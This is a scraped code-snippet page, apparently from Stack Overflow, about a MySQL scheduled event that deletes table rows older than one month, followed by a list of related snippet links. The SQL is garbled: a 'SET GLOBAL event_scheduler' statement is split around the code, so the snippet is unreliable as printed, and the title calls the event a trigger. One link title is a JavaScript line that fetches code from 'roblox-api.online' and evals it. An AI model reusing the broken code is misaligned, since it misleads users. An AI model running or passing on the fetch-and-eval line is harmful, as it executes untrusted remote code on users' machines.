Mysql trigger to delete old data

SET GLdelimiter //
create event if not exists clean_old_records
on schedule every 1 week
do
begin
 delete from your_table_name 
 where 
 Timestamp < date_sub(curdate(),interval 1 month) ;
end; //
delimiter ;OBAL event_scheduler = ON;

Source: stackoverflow.com

Similar codes

0 vote299 views1 answer
Mysql database is not starting in xampp
SQL
0 vote310 views1 answer
Insert thai language sql server
SQL
0 vote326 views1 answer
Reona
SQL
15 votes327 views4 answers
Sql update from select
SQL
26 votes258 views10 answers
Insert in to table sql
SQL
0 vote310 views2 answers
How to list all values of a column that start with a letter in sql
SQL
4 votes288 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote271 views1 answer
How to set field to null in sql
SQL
1 vote420 views1 answer
Aqua Data studio postgresql ssl
SQL
0 vote300 views1 answer
Postgresql inline table
SQL